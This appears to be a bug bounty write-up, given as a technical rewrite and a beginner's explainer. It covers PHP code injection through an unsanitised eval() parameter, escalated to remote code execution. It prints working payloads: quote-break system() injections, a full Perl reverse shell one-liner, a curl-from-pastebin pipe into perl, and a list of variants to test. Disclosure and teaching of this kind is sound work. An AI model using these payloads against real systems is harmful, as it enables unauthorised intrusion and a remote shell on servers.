RCE By Code Injection | Perl Reverse Shell
A parameter named 'local' was passed into PHP's eval() without sanitisation, so an attacker could inject PHP code. The author used this to run system commands and eventually obtained a reverse shell via Perl.
Published on 4bdoz.medium.com
Code injection is an attack that delivers a malicious code payload through a vulnerable attack vector in eval() function without any sanitization or block dangerous functions like exec(), shellexec(), system() or passthru()
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This write-up describes a PHP code injection found on a subdomain of a private bug bounty program. The researcher does not name the program or the host, and the report gives no version numbers for the application itself. The only version detail it records is the interpreter found on the server during exploitation: Perl v5.20.
The vulnerable feature is a POST parameter called local. The report does not describe what the parameter normally does in the application, only that it is a custom parameter the researcher found while hunting. The subdomain runs a PHP backend, which is what made PHP code injection the first idea to try.
The author opens with a short definition: code injection delivers a malicious code payload through a vulnerable attack vector into an eval() function that has no sanitisation and does not block dangerous functions such as exec(), shell_exec(), system() or passthru().
Setup
- A private bug bounty program, with a subdomain using a PHP backend.
- Burp Suite, used to review requests and to search for custom parameters after the main testing was finished.
- A wordlist of parameter names, the author's own plus the public GF-Patterns repository, used to look for parameters such as
ssrf,lfiandxss. - A VPS listening on port 1234 for the reverse shell.
- Pastebin, used later to host the Perl payload.
No account, role or authentication detail is given, so the preconditions on the target side are unknown beyond the parameter being reachable in a POST request.
Finding it
After finishing the main test of the program, the author went back through the captured traffic in Burp Suite looking for custom parameter names. This turned up a parameter named local in a POST request. The first attempts against it were SSRF and LFI tests, and both failed.
Because the subdomain uses a PHP backend, the next attempt was PHP code injection. The first payload was a plain print statement:
print("AbdulrahmanKamel0xx")

The screenshot shows the injected payload in the request and the response, with no reflected string: the print did not appear in the output.
Exploitation
Step 1: skip the previous function with a semicolon
The next attempt tried to terminate whatever statement the parameter was being placed into, using a semicolon:
;print("AbdulrahmanKamel0xx")
This failed as well.
Step 2: close the string and concatenate
The author reasoned that the value was being placed inside a quoted string in the backend code. A single quote was used to close the statement and a dot to concatenate the injected call:
‘.print("AbdulrahmanKamel0xx").’


The second screenshot is captioned "BOOM!": the injected code executed successfully.

This screenshot is captioned "Remote Code Execution" and shows the successful injection.
Step 3: the expected backend code
The author reconstructs the likely backend as follows:
<?php$input = $_REQUEST['local'];eval('$input');?>
If the parameter value lands inside double quotes it would be executed, but inside single quotes it cannot be, which is why the single quote was needed to close the statement and the dot sign to concatenate. The author illustrates the single-quoted variant:
'.system("command").'================================<?php$input = $_REQUEST['local'];eval(''.$input.'');?>
Step 4: trying for a reverse shell
With code execution confirmed, the author started a listener on port 1234 on the VPS and tried to get a reverse shell. Bash scripts and many other approaches failed. A check for netcat or socat on the server also failed, because neither was installed:
'.system("nc -v").'

The screenshot is captioned "not reflected any data mean not performing the command": no output came back, so the command was not running.
Step 5: checking which interpreters exist
Python, Ruby and many other tools that can produce a reverse shell were checked and not found. Perl was present.

The screenshot is captioned "found Perl v5.20".

A meme image, captioned "funny meme ^_^", sits between the Perl discovery and the payload.
The Perl reverse shell used was:
perl -e 'use Socket;$i="<my-vps-ip>";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&>S");open(STDOUT,">&>S");open(STDERR,">&>S");exec("/bin/sh -i");};'

The screenshot is captioned "request syntax error because [&] sign". The request failed because & ends one parameter and starts the next, as in `username=admin&[redacted] The author tried encoding the sign, and that did not work either.
Step 6: check for curl
Before changing approach, the author checked whether curl was installed on the server:
'.system("curl -v").'
curl was found, which opened a way around the & problem.
Step 7: host the payload and fetch it with curl
The Perl code was uploaded to pastebin with perl -e and the single quotes removed:
use Socket;$i="<my-vps-ip>";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&>S");open(STDOUT,">&>S");open(STDERR,">&>S");exec("/bin/sh -i");};
curl was then used to fetch that code and pipe it into Perl:
curl https://pastebin.com/raw/EEaH**** | perl...'.system("curl https://pastebin.com/raw/EEaH**** | perl").'

The screenshot is captioned "Reverse Shell via Perl".

The final screenshot shows the working reverse shell: the author reports that it worked and a shell was obtained.
Root cause
The parameter value is passed into eval() without sanitisation, and dangerous functions such as system() are not blocked. The author's reconstruction of the backend places the value inside a single-quoted string, so a direct print(...) or a semicolon-prefixed statement does nothing useful. Closing the quote with ' and concatenating with . breaks out of the string and lets the injected call run as PHP. Because eval() executes whatever the concatenated expression produces, any PHP function available to the process can be reached, including system().
The author's own note is that a value reflected inside double quotes would execute directly, while inside single quotes it needs the quote-and-dot escape.
Impact
On this target the injection gave remote code execution, which the author used to obtain an interactive shell over the network. The practical limit is that the attacker needs the local parameter to be reachable and the backend to evaluate it; the report gives no information about who could reach that endpoint.
Fix
The author's prevention list is:
- Replace or ban arguments with
&,;,&&and|. - Avoid using
exec(),shell_exec(),system()orpassthru(). - Avoid using
strip_tags()for sanitisation. - Use a PHP security linter.
- Use a SAST tool to identify code injection issues.
- Do not trust any data from the user.
Variants to test
- Quote-break with concatenation. Send
'.print(1).'and then'.system("id").'in any parameter that looks like it is interpolated into a string. A positive result is the output of the command appearing in the response. - Semicolon termination. Send
;print(1)where the value may be placed directly in an expression rather than a string. A positive result is the printed value in the response. - Interpreter inventory. Once code execution works, run
'.system("which perl python ruby nc socat curl wget").'to see what is available before choosing a shell technique. A positive result is a path printed for any of them. - Ampersand-free delivery. If the payload contains
&, host it externally and fetch it with curl or wget piped into an interpreter, as in this report. A positive result is a connection back to the listener. - Encoding the ampersand. Try URL-encoding
&as%26in the payload. A positive result is the full command reaching the shell instead of being split into a new parameter.
Stay in touch
What happened, in plain words
A security researcher was testing a website that belonged to a private bug bounty program. A bug bounty program is a scheme where a company invites outside testers to look for security problems in its systems and report them, often for a reward. The researcher found a place where the website took a piece of text from the visitor and then ran it as computer code. That is called code injection. Because the website is built with a programming language called PHP, the researcher was able to run PHP commands on the server, and eventually got a full remote shell: a live command line on someone else's machine, controlled from his own.
This article walks through the same steps he took, in the same order, and explains every idea from scratch. If you can use a browser, you can follow it.
The weakness in one paragraph
The author starts with a short definition. Code injection is an attack that delivers a malicious code payload through a vulnerable attack vector into an eval() function that has no sanitisation and does not block dangerous functions such as exec(), shell_exec(), system() or passthru().
That sentence is dense, so let us unpack it word by word.
- Payload: the piece of text the attacker sends. In this story it is a short PHP instruction.
- Attack vector: the route the text travels in. Here it is a form field that the website accepts in a POST request.
eval(): a PHP function whose whole job is to take a string and run it as PHP code. Think of a receptionist who, instead of reading out a note, does whatever the note tells them to do. If the note comes from a stranger, that is a problem.- Sanitisation: cleaning or checking input before using it, the way a bouncer checks IDs at a door. Without it, anything gets in.
exec(),shell_exec(),system(),passthru(): PHP functions that run operating system commands. They are the difference between running a bit of PHP and running anything at all on the machine.
So the weakness is: a string from the user reaches eval(), and nothing stops it from calling functions that run commands.
Background: how the researcher got there
The author was hunting on a private program. After finishing the main round of testing, he went back through the requests he had captured in Burp Suite. Burp Suite is a tool that sits between your browser and a website and lets you read and edit every request and response. It is the standard workbench for this kind of testing.
He was looking for custom parameter names. A parameter is a named value sent to a website, like the q in a search box, or the username and password in a login form. He used a list of names to look for, his own plus the public GF-Patterns repository, which collects patterns for parameters such as ssrf, lfi and xss. Those three abbreviations stand for server-side request forgery, local file inclusion and cross-site scripting, three common classes of web bug. The point of the list is to spot interesting names in traffic you have already collected, rather than guessing blindly.
This turned up a parameter named local in a POST request. A POST request is the kind a browser sends when you submit a form: the values travel in the body of the request rather than in the address bar. The report does not describe what local normally does in the application, only that it is a custom parameter the researcher found while hunting.
The first attempts against local were SSRF and LFI tests, and both failed. SSRF means tricking the server into making a request to a destination of your choosing. LFI means tricking it into reading a file from its own disk. Neither worked here.
Because the subdomain uses a PHP backend, the next attempt was PHP code injection. A subdomain is the part in front of the main domain, like shop in shop.example.com. A backend is the software on the server that produces the page; PHP is one of the most common languages for it.
Step 1: a plain print
The first payload was a plain print statement:
print("AbdulrahmanKamel0xx")

Line by line: print is a PHP instruction that outputs text. The text in the brackets, "AbdulrahmanKamel0xx", is a marker string, a unique word chosen so that if it ever appears in the page, you know your code ran. The idea is simple: send the marker, look for the marker in the response. If it comes back, the server executed your code.
The screenshot shows the injected payload in the request and the response, with no reflected string: the print did not appear in the output. So the code did not run, at least not in a way that reached the page.
Step 2: try to skip the previous instruction
The next attempt tried to terminate whatever statement the parameter was being placed into, using a semicolon:
;print("AbdulrahmanKamel0xx")
In PHP, and in many languages, a semicolon marks the end of one instruction. The reasoning was: if my text is being glued onto the end of an existing instruction, maybe I can close that instruction with ; and start my own. This failed as well.
Step 3: close the string and concatenate
The author then reasoned that the value was being placed inside a quoted string in the backend code. In programming, text between quotes is treated as plain text, not as instructions. If your input lands inside quotes, the server sees it as a word, not as code, which explains the two failures above.
So he used a single quote to close the string, and a dot to concatenate, that is, to join pieces of text together:
‘.print("AbdulrahmanKamel0xx").’
Line by line: the leading ‘ closes the string the server opened. The . joins what comes next onto the expression. print("AbdulrahmanKamel0xx") is the instruction to run. The trailing .’ reopens a string so that whatever the server appends after your input still fits syntactically. The payload is shown here as it appears in the write-up.


The second screenshot is captioned "BOOM!": the injected code executed successfully.

This screenshot is captioned "Remote Code Execution" and shows the successful injection. Remote code execution, usually shortened to RCE, means running your own code on someone else's machine over the network. It is generally the most serious kind of web bug, because from there an attacker can often do anything the web server process is allowed to do.
Step 4: what the backend probably looks like
The author reconstructs the likely backend as follows:
<?php$input = $_REQUEST['local'];eval('$input');?>
Line by line: <?php opens a PHP block. $input = $_REQUEST['local']; copies the value of the local parameter into a variable called $input. $_REQUEST is a PHP superglobal, a built-in array that holds values from the request, whether they came in the query string or the body. eval('$input'); then runs the contents of $input as PHP code. ?> closes the PHP block.
If the parameter value lands inside double quotes it would be executed, but inside single quotes it cannot be, which is why the single quote was needed to close the statement and the dot sign to concatenate. The author illustrates the single-quoted variant:
'.system("command").'================================<?php$input = $_REQUEST['local'];eval(''.$input.'');?>
Line by line: '.system("command").' is the payload shape. The first ' closes the single-quoted string in the backend. . concatenates. system("command") is a PHP function that runs an operating system command and prints its output. . concatenates again, and the final ' reopens a string so the rest of the backend line still parses. The ================================ is a visual separator in the write-up, and the <?php ... ?> block after it shows the reconstructed backend with the value placed inside single quotes.
The report does not show the real source, so the exact quoting in the deployed code is inferred rather than confirmed. The author's own note is that a value reflected inside double quotes would execute directly, while inside single quotes it needs the quote-and-dot escape.
Step 5: trying for a reverse shell
With code execution confirmed, the author started a listener on port 1234 on his VPS and tried to get a reverse shell. A VPS is a virtual private server, a rented machine on the internet that you control. A port is a numbered door on a machine; a listener is a program waiting at that door for someone to connect. A reverse shell is the opposite of logging in: instead of you connecting to the target, the target connects back to you and hands you a command line. It is popular because firewalls often allow outbound connections more freely than inbound ones.
Bash scripts and many other approaches failed. A check for netcat or socat on the server also failed, because neither was installed. Netcat and socat are small utilities often used to move data between machines, and they are a common way to build a shell:
'.system("nc -v").'
Line by line: the quote-dot escape breaks out of the string as before. system("nc -v") asks the server to run nc, netcat, with the -v flag, which means verbose, so it reports what it is doing.

The screenshot is captioned "not reflected any data mean not performing the command": no output came back, so the command was not running.
Step 6: checking which interpreters exist
Python, Ruby and many other tools that can produce a reverse shell were checked and not found. An interpreter is a program that reads and runs code written in a particular language; Python and Ruby are two popular ones. Perl was present.

The screenshot is captioned "found Perl v5.20". That version number is the only version detail the report records, and it refers to the Perl interpreter on the server, not to the application.

A meme image, captioned "funny meme ^_^", sits between the Perl discovery and the payload.
The Perl reverse shell used was:
perl -e 'use Socket;$i="<my-vps-ip>";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&>S");open(STDOUT,">&>S");open(STDERR,">&>S");exec("/bin/sh -i");};'
Line by line: perl -e tells Perl to run the code that follows directly from the command line. use Socket; loads Perl's networking module. $i="<my-vps-ip>" sets the address to connect back to; the real address is replaced here with a placeholder. $p=1234 sets the port. socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")) creates a TCP socket, which is the standard way two machines hold a conversation over the internet. if(connect(S,sockaddr_in($p,inet_aton($i)))) connects that socket to the address and port. Inside the if, the three open calls point the program's standard input, output and error streams at the socket, so anything typed or printed travels over the network instead of the screen. exec("/bin/sh -i") finally replaces the Perl process with an interactive shell. The ; characters separate instructions and the {} group the block.

The screenshot is captioned "request syntax error because [&] sign". The request failed because & ends one parameter and starts the next, as in username=admin&[redacted] In a form body, &is the separator between fields, so a payload containing&gets chopped into pieces and the server sees garbage. The author tried encoding the sign, and that did not work either. Encoding means replacing a character with a code such as%26` so it is treated as data rather than as a separator.
Step 7: check for curl
Before changing approach, the author checked whether curl was installed on the server:
'.system("curl -v").'
Line by line: same quote-dot escape, then system("curl -v") runs curl with the verbose flag. curl is a command-line tool for fetching things from the web, the same job your browser does when you open a page.
curl was found, which opened a way around the & problem. The idea: if you cannot send a long payload with & in it through the form, put the payload somewhere else on the internet and ask the server to fetch it.
Step 8: host the payload and fetch it with curl
The Perl code was uploaded to pastebin with perl -e and the single quotes removed. Pastebin is a public site for pasting text and getting a link to it. Removing perl -e and the surrounding quotes matters because the code will now be read from a pipe rather than typed on a command line:
use Socket;$i="<my-vps-ip>";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&>S");open(STDOUT,">&>S");open(STDERR,">&>S");exec("/bin/sh -i");};
Line by line: this is the same Perl program as before, without the perl -e wrapper and without the outer single quotes, because those belong to the shell command line, not to the program itself.
curl was then used to fetch that code and pipe it into Perl:
curl https://pastebin.com/raw/EEaH**** | perl...'.system("curl https://pastebin.com/raw/EEaH**** | perl").'
Line by line: curl https://pastebin.com/raw/EEaH**** downloads the pasted text. The | symbol is a pipe: it takes the output of the command on its left and feeds it as input to the command on its right. perl with no arguments reads a program from its input, so the downloaded code runs. The ... in the middle is the author's shorthand in the write-up. The part after it, '.system("curl ... | perl").', is the actual payload sent to the vulnerable parameter, using the same quote-dot escape as before. The paste identifier is partly masked in the report.

The screenshot is captioned "Reverse Shell via Perl".

The final screenshot shows the working reverse shell: the author reports that it worked and a shell was obtained.
Why it worked
The parameter value is passed into eval() without sanitisation, and dangerous functions such as system() are not blocked. The author's reconstruction of the backend places the value inside a single-quoted string, so a direct print(...) or a semicolon-prefixed statement does nothing useful. Closing the quote with ' and concatenating with . breaks out of the string and lets the injected call run as PHP. Because eval() executes whatever the concatenated expression produces, any PHP function available to the process can be reached, including system().
A useful comparison: imagine a form that asks for your name and prints "Hello, NAME". If the form is careful, your name is treated as text and printed as is. If it is careless, and the name is pasted into a template that is then executed, a name like '.system("id").' stops being a name and becomes an instruction. The quote is the crowbar, the dot is the glue.
What the impact was
On this target the injection gave remote code execution, which the author used to obtain an interactive shell over the network. The practical limit is that the attacker needs the local parameter to be reachable and the backend to evaluate it; the report gives no information about who could reach that endpoint.
How to prevent it
The author's prevention list is:
- Replace or ban arguments with
&,;,&&and|. - Avoid using
exec(),shell_exec(),system()orpassthru(). - Avoid using
strip_tags()for sanitisation. - Use a PHP security linter.
- Use a SAST tool to identify code injection issues.
- Do not trust any data from the user.
A few of those terms deserve a plain explanation. A linter is a tool that reads source code and flags suspicious patterns without running it. SAST stands for static application security testing: the same idea, aimed at finding security bugs in code before it ships. strip_tags() is a PHP function that removes HTML tags from a string; it is not a sanitiser for code injection, which is why the author warns against relying on it.
Variants worth trying
These are the same techniques generalised, so you can recognise them elsewhere.
- Quote-break with concatenation. Send
'.print(1).'and then'.system("id").'in any parameter that looks like it is interpolated into a string. A positive result is the output of the command appearing in the response. - Semicolon termination. Send
;print(1)where the value may be placed directly in an expression rather than in a string. A positive result is the printed value in the response. - Interpreter inventory. Once code execution works, run
'.system("which perl python ruby nc socat curl wget").'to see what is available before choosing a shell technique. A positive result is a path printed for any of them. - Ampersand-free delivery. If the payload contains
&, host it externally and fetch it with curl or wget piped into an interpreter, as in this report. A positive result is a connection back to the listener. - Encoding the ampersand. Try URL-encoding
&as%26in the payload. A positive result is the full command reaching the shell instead of being split into a new parameter.
Stay in touch
Linkedin | Github | Twitter | Facebook
Glossary
- Backend: the software on the server that builds the page or handles the request, as opposed to the frontend that runs in your browser.
- Bug bounty program: a scheme where a company invites outside testers to find and report security problems, often for a reward.
- Burp Suite: a tool that sits between your browser and a website so you can read and edit every request and response.
- Code injection: an attack where text supplied by the user is run as code by the application.
- Concatenate: join pieces of text or values together, in PHP with the
.operator. - curl: a command-line tool for fetching things from the web.
eval(): a PHP function that runs a string as PHP code.- GF-Patterns: a public repository of patterns for finding interesting parameter names in captured traffic.
- Interpreter: a program that reads and runs code written in a particular language, such as Perl or Python.
- LFI (local file inclusion): a bug that lets an attacker make the server read a file from its own disk.
- Listener: a program waiting on a port for an incoming connection.
- Linter: a tool that reads source code and flags suspicious patterns without running it.
- Netcat / socat: small utilities for moving data between machines, often used to build shells.
- Parameter: a named value sent to a website, such as a form field.
- Payload: the piece of text or code an attacker sends to exploit a bug.
- Perl: a programming language, and the interpreter that runs it; the report records Perl v5.20 on the server.
- Pipe (
|): a shell symbol that feeds the output of one command into another. - Port: a numbered door on a machine that network connections use.
- POST request: a request that carries values in its body, typically sent when you submit a form.
- Remote code execution (RCE): running your own code on someone else's machine over the network.
- Reverse shell: a shell where the target connects back to the attacker and hands over a command line.
- Sanitisation: cleaning or checking input before the application uses it.
- SAST: static application security testing, tools that look for security bugs in source code.
- Semicolon (
;): in many languages, the character that ends one instruction. - SSRF (server-side request forgery): a bug that lets an attacker make the server send a request to a destination of their choosing.
- Subdomain: the part of a hostname in front of the main domain, such as
shopinshop.example.com. - Superglobal: a PHP built-in array that holds request data, such as
$_REQUEST. - VPS: a virtual private server, a rented machine on the internet that you control.
- XSS (cross-site scripting): a bug that lets an attacker run script in another user's browser.